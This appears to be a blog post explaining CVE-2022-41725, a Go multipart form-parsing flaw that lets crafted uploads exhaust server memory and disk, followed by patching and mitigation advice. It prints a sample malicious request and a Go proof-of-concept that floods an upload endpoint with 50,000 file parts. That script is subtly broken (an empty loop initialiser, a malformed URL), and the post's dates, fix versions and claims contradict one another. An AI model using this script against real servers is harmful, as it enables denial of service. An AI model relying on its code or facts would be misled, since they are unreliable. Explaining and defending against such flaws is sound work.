In November 2022, a security vulnerability known as CVE-2022-41725 was disclosed in Go’s standard library, specifically affecting the net/http and mime/multipart packages. This flaw enables an attacker to exhaust a server’s memory and disk resources by sending specially crafted multipart form data. Through this post, we’ll break down what the vulnerability is, how it can be exploited, how it was mitigated, and what developers should watch out for. We’ll also give you code samples and practical guidance to keep your applications safe.

The Vulnerability: Multipart Form Parsing Gone Wrong

The root of CVE-2022-41725 is excessive resource consumption when handling file uploads and multi-part form data. Here’s how it happens:

- The mime/multipart.Reader.ReadForm method processes form data and is used under the hood by several popular methods from the net/http package like Request.FormFile, Request.FormValue, Request.ParseMultipartForm, and Request.PostFormValue.
- When a form is parsed, small parts (like text fields) are stored in memory. Large file parts are written as temporary files to disk.  
- The Go standard library tries to limit memory usage by allowing a maxMemory parameter plus 10MB reserved for non-file parts. Unfortunately, the 10MB "extra" is not configurable and itself is very high.
- The problem: Internal bookkeeping (like string headers, map keys, and overhead) was not counted toward the 10MB, making the limit inaccurate. Malicious payloads could easily blow past this restriction, causing memory exhaustion (Denial of Service).
- Another problem is that each uploaded file part creates a separate temporary file on disk. The number of files created was unlimited, so a clever attacker could create thousands of small file parts with a small request, filling up the disk quickly.

Exploit Details: How a Malicious Payload Works

Let’s imagine an attacker wants to crash your server using this issue.

They send a POST request to your file-upload endpoint with a multipart form.

2. The form includes thousands of separate file parts, with crafted headers and names to maximize metadata overhead.
3. Each file part is empty or contains a tiny payload, so the overall request size is small and easy to send, but the number of temporary disk files grows very rapidly.
4. The Go server, using unpatched mime/multipart.Reader.ReadForm, tries to process every part, exceeding both memory and disk resource limits.

Here’s a visual snippet of how malicious multipart data might look

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary="----boundary"

------boundary
Content-Disposition: form-data; name="file1"; filename="a.txt"
Content-Type: text/plain

Fake file content 1
------boundary
Content-Disposition: form-data; name="file2"; filename="b.txt"
Content-Type: text/plain

Fake file content 2
... [repeat thousands of times] ...

Proof-of-Concept (PoC) in Go

Below is a simplified Go script that shows how an attacker could trigger the vulnerability by uploading a multipart form with thousands of file parts:

package main

import (
    "bytes"
    "mime/multipart"
    "net/http"
)

func main() {
    var buf bytes.Buffer
    w := multipart.NewWriter(&buf)

    for i := ; i < 50000; i++ { // creates 50,000 file parts!
        part, _ := w.CreateFormFile("file", "file"+string(i)+".txt")
        part.Write([]byte("X")) // tiny file content
    }
    w.Close()

    http.Post("http://localhost:808/upload";, w.FormDataContentType(), &buf)
}

If the target server is serving uploads with unpatched ParseMultipartForm, this could fill its disk or RAM, leading to denial of service.

Security-conscious maintainers at Google released patches for all supported Go versions

- ReadForm now properly tracks all memory use. It accounts for overhead like map keys, part names, MIME headers—so 10MB really means 10MB.

Now, all file parts are stored in a *single* temporary file on disk (unless you opt out).

- The environment variable GODEBUG=multipartfiles=distinct can revert to the old (vulnerable) behavior if absolutely necessary for compatibility.

Go’s MaxBytesReader should be used to limit the size of requests that the server will handle.

Patch your apps! See the Go 1.18.9 Release Notes for more details.

1. Upgrade Go

First, upgrade Go to v1.18.9, v1.19.4, or later, as these include the fix.

2. Always Limit Request Body Size

You should *always* restrict how much data you accept from the network! In Go, use http.MaxBytesReader:

func uploadHandler(w http.ResponseWriter, r *http.Request) {
    // Limit request body to 32MB
    r.Body = http.MaxBytesReader(w, r.Body, 32<<20)
    err := r.ParseMultipartForm(10 << 20)
    if err != nil {
        http.Error(w, "Invalid request", http.StatusBadRequest)
        return
    }
    // Process form...
}

3. Monitor Temporary Directory Usage

If your server handles lots of user uploads, keep an eye on /tmp or wherever Go stores temp files. Malicious or buggy users can fill up server disk.

4. Beware of the 10MB Non-file Default

Even with the patch, the limit for memory is stiff—but high. If you expect many users or receive huge forms, consider lowering limits or adding extra logic.

5. Compatibility Note

If your app depends on previously having a unique temp file for each upload, set GODEBUG=multipartfiles=distinct to revert—but this is *not* recommended!

Summary Table

| Aspect                       | Before Patch                   | After Patch                 |
|------------------------------|-------------------------------|-----------------------------|
| Memory Limit                 | Not accurately enforced       | Strictly enforced           |
| Temp Files per Upload        | Unlimited                     | One per multipart request   |
| Disk Limit                   | Unlimited, can fill disk      | Still unlimited, but single-file  |
| Mitigation                   | Not possible                  | Update Go; use MaxBytesReader   |

References

- Go Release Notes (1.18.9+)
- CVE-2022-41725 on NVD
- Go Advisory: GO-2022-1144
- Package Documentation: net/http
- Package Documentation: mime/multipart

Conclusion

CVE-2022-41725 is an example of how even small oversights in standard libraries can have outsized impact when dealing with user uploads or untrusted data. Be proactive: upgrade your dependencies, limit incoming data, and always keep security in mind when accepting multipart forms or files. Even after the fix, keep an eye on resource limits—*just in case*.

If you run Go web servers or APIs, patch today and audit your upload endpoints! Stay safe out there.

Timeline

Published on: 02/28/2023 18:15:00 UTC
Last modified on: 03/10/2023 04:58:00 UTC